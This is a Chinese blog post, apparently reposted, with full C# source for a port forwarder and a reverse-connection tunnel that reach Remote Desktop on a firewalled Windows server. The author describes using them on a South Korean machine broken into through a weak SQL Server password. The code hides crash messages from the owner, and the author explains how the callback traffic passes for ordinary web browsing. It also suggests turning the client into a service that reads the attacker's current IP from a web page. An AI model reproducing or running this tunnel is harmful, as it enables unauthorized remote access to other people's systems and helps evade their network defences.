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C#端口转发程序代码详解

OC/C/C++ 水墨上仙 2992次浏览

C#端口转发程序代码详解

转自:http://www.cnblogs.com/mutuan

链接3389的时候

例子1:连接a机器的3389端口连不上,因为对方防火墙或者网关做了限制,只能访问a机器的个别端口比如80。

例子2:连接a机器的几乎所有端口都连不上(对方乃内网或者防火墙网关做了限制),只能1433上去,但是对方可以连接你的某些端口。

&nbsp

解决

第一种较简单,只需要程序在对方开80,你连接他80,程序收到数据后,发送到他本机的3389,同时从他3389收到数据后返回到你。程序就是一个中转站。

&nbsp


using System;
using System.Net.Sockets;
using System.Threading;

namespace PortTransponder
{
    class Program
    {
        static void Main(string[] args)
        {
            TcpListener tl = new TcpListener(80);//这里开对方可以被你连接并且未被占用的端口
            tl.Start();
            while (true)//这里必须用循环,可以接收不止一个客户,因为我发现终端服务有时一个端口不行就换一个端口重连
            {
                //下面的意思就是一旦程序收到你发送的数据包后立刻开2个线程做中转
                try
                {
                    TcpClient tc1 = tl.AcceptTcpClient();//这里是等待数据再执行下边,不会100%占用cpu
                    TcpClient tc2 = new TcpClient("localhost", 3389);
                    tc1.SendTimeout = 300000;//设定超时,否则端口将一直被占用,即使失去连接
                    tc1.ReceiveTimeout = 300000;
                    tc2.SendTimeout = 300000;
                    tc2.ReceiveTimeout = 300000;
                    object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                    object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                    ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
                    ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
                }
                catch { }
            }
        }
        public static void transfer(object obj)
        {
            TcpClient tc1 = ((TcpClient[])obj)[0];
            TcpClient tc2 = ((TcpClient[])obj)[1];
            NetworkStream ns1 = tc1.GetStream();
            NetworkStream ns2 = tc2.GetStream();
            while (true)
            {
                try
                {
                    //这里必须try catch,否则连接一旦中断程序就崩溃了,要是弹出错误提示让机主看见那就囧了
                    byte[] bt = new byte[10240];
                    int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 0, count);
                }
                catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    break;
                }
            }
        }
    }
}

 

这样在对方机器执行和,直接mstsc&nbsp/v:对方ip:80就能终端上去了

&nbsp

&nbsp

第二种稍微复杂一点,需要客户机和服务器2个程序,你在自己机器上开服务器端,在对方机器上执行客户端连接你的服务器端,一旦连接上你的服务器端再开个端口让终端程序连接,对方机器上客户端再开个端口连接他自己的3389,做2次中转就可以终端上去了。

具体流程

本机ip开8080端口

对方机器连接你的8080端口,比如端口是49908

连接成功后

你的机器再开一个比如9833端口

对方机器再开一个连接连接他自己的3389,比如端口是49909吧

好这时你用你的mstsc连接自己的&nbsplocalhost:9833,数据包就从本机9833-本机8080-对方49908-对方49909-对方3389,对方3389的数据反着回来就行了。



//服务器端
using System;
using System.Collections.Generic;
using System.Net.Sockets;
using System.Threading;

namespace fanxiangserver
{
    class Program
    {
        public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>();
        public static NetworkStream kongzhins = null;
        static void Main(string[] args)
        {
            ThreadPool.QueueUserWorkItem(new WaitCallback(start1));
            ThreadPool.QueueUserWorkItem(new WaitCallback(start2));
            WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });
        }
        public static void start1(object obj)
        {
            TcpListener tl = new TcpListener(8080);//开一个对方可以连接的端口,今天这棒子机器连他只能1433,其他连不上,他连别人只能80 8080 21   
            tl.Start();
            while (true)
            {
                TcpClient tc = tl.AcceptTcpClient();
                jieshou(tc);
            }
        }
        public static void start2(object obj)
        {
            TcpListener tl = new TcpListener(9833); //开一个随意端口让自己的mstsc连。   
            tl.Start();
            while (true)
            {
                TcpClient tc = tl.AcceptTcpClient();
                Random rnd = new Random();
                int biaoji = rnd.Next(1000000000, 2000000000);
                dic.Add(biaoji, tc);
                byte[] bt = BitConverter.GetBytes(biaoji);
                kongzhins.Write(bt, 0, bt.Length);
            }
        }
        public static void jieshou(TcpClient tc)
        {
            //这里体现的是一个配对的问题,自己体会一下吧
            NetworkStream ns = tc.GetStream();
            byte[] bt = new byte[4];
            int count = ns.Read(bt, 0, bt.Length);
            if (count == 2 && bt[0] == 0x6f && bt[1] == 0x6b)
            {
                kongzhins = ns;
            }
            else
            {
                int biaoji = BitConverter.ToInt32(bt, 0);
                lianjie(biaoji, tc);
            }
        }
        public static void lianjie(int biaoji, TcpClient tc1)
        {
            TcpClient tc2 = null;
            if (dic.ContainsKey(biaoji))
            {
                dic.TryGetValue(biaoji, out tc2);
                dic.Remove(biaoji);
                tc1.SendTimeout = 300000;
                tc1.ReceiveTimeout = 300000;
                tc2.SendTimeout = 300000;
                tc2.ReceiveTimeout = 300000;
                object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
                ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
            }
        }
        public static void transfer(object obj)
        {
            TcpClient tc1 = ((TcpClient[])obj)[0];
            TcpClient tc2 = ((TcpClient[])obj)[1];
            NetworkStream ns1 = tc1.GetStream();
            NetworkStream ns2 = tc2.GetStream();
            while (true)
            {
                try
                {
                    //这里必须try catch,否则连接一旦中断程序就崩溃了,要是弹出错误提示让机主看见那就囧了
                    byte[] bt = new byte[10240];
                    int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 0, count);
                }
                catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    break;
                }
            }
        }
    }
}





//客户端
using System;
using System.Text;
using System.Net.Sockets;
using System.Threading;

namespace fanxiangclient
{
    class Program
    {
        public static NetworkStream kongzhins = null;
        static void Main(string[] args)
        {
            try
            {
                TcpClient tc = new TcpClient("你的IP", 8080);
                kongzhins = tc.GetStream();
                byte[] bt = Encoding.Default.GetBytes("ok");//这里发送一个连接提示
                kongzhins.Write(bt, 0, bt.Length);
                jieshou();
                WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });//这里为什么要这样呢?我发现sqlserver执行是localsystem账号如果console.read()程序马上退出
            }
            catch { }
        }
        public static void jieshou()
        {
            while (true)
            {
                byte[] bt = new byte[4];
                kongzhins.Read(bt, 0, bt.Length);
                TcpClient tc1 = new TcpClient("你的IP", 8080);
                TcpClient tc2 = new TcpClient("localhost", 3389);
                tc1.SendTimeout = 300000;
                tc1.ReceiveTimeout = 300000;
                tc2.SendTimeout = 300000;
                tc2.ReceiveTimeout = 300000;
                tc1.GetStream().Write(bt, 0, bt.Length);
                object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
                ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
            }
        }
        public static void transfer(object obj)
        {
            TcpClient tc1 = ((TcpClient[])obj)[0];
            TcpClient tc2 = ((TcpClient[])obj)[1];
            NetworkStream ns1 = tc1.GetStream();
            NetworkStream ns2 = tc2.GetStream();
            while (true)
            {
                try
                {
                    byte[] bt = new byte[10240];
                    int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 0, count);
                }
                catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    break;
                }
            }
        }
    }
}

&nbsp

好,这样你连接mstsc&nbsp/v:localhost:9833,后数据就经过了好几转转到了对方的3389上。这样即使对方是内网也可以被终端了,而且好处是对方查看netstat&nbsp-an看到的是这种东西

&nbsp

&nbsp

활성&nbsp연결

&nbsp&nbsp프로토콜&nbsp&nbsp로컬&nbsp주소&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp외부&nbsp주소&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp상태

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp0.0.0.0:135&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp0.0.0.0:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp0.0.0.0:445&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp0.0.0.0:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp0.0.0.0:1433&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp0.0.0.0:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp0.0.0.0:3389&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp0.0.0.0:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp0.0.0.0:5357&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp0.0.0.0:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp0.0.0.0:49152&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp0.0.0.0:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp0.0.0.0:49153&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp0.0.0.0:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp0.0.0.0:49154&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp0.0.0.0:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp0.0.0.0:49155&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp0.0.0.0:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp0.0.0.0:49156&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp0.0.0.0:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp0.0.0.0:49157&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp0.0.0.0:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp他的IP:139&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp0.0.0.0:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp他的IP:49908&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp我的IP:8080&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspESTABLISHED

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp[::]:135&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp[::]:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp[::]:445&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp[::]:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp[::]:3389&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp[::]:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp[::]:5357&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp[::]:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp[::]:49152&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp[::]:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp[::]:49153&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp[::]:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp[::]:49154&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp[::]:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp[::]:49155&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp[::]:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp[::]:49156&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp[::]:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp[::]:49157&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp[::]:0&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspLISTENING

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp[::1]:3389&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp[::1]:49909&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspESTABLISHED

&nbsp&nbspTCP&nbsp&nbsp&nbsp&nbsp[::1]:49909&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp[::1]:3389&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspESTABLISHED

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp0.0.0.0:123&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp0.0.0.0:500&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp0.0.0.0:1434&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp0.0.0.0:3702&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp0.0.0.0:3702&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp0.0.0.0:4500&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp0.0.0.0:5355&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp0.0.0.0:64966&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp他的IP:137&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp他的IP:138&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp[::]:123&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp[::]:500&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp[::]:3702&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp[::]:3702&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp[::]:5355&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp&nbspUDP&nbsp&nbsp&nbsp&nbsp[::]:64967&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp*:*

&nbsp

只能看到他的49908在连接我的8080,就像看网站一样,要是80就更像了,而49909连接3389一般注意不到,反正没有ip地址,这棒子想不到吧,他做的这么变态的限制都被终端上去了,起因就是sqlserver弱口令和权限,这个机器是win2008,i7&nbsp920的u,不明白棒子的网管为什么一点安全知识都没有,而且屡教不改,上次进去一看,那机器已经被国内黑克给x了n遍了,上边布满了木马,最后实在启动不了了,他重装了,结果那个sqlserver还是那个权限还是那个密码,服气吧。但是如果netstat&nbsp-ano发现连我的pid和连3389的pid是一个那就可以发现了。

&nbsp

以上程序都是经我测试后非常ok的,但是没有经过优化,尤其是反向连接的,可以做成个服务是吧,或者连接的时候加个验证啦什么的,还有我的Ip地址也是变的,可以做成个服务,定时读取某一网页上我的新ip,告诉他连还是不连啦,什么的。而且还可以做成个http代理翻wall啦,总之花样是很多的。


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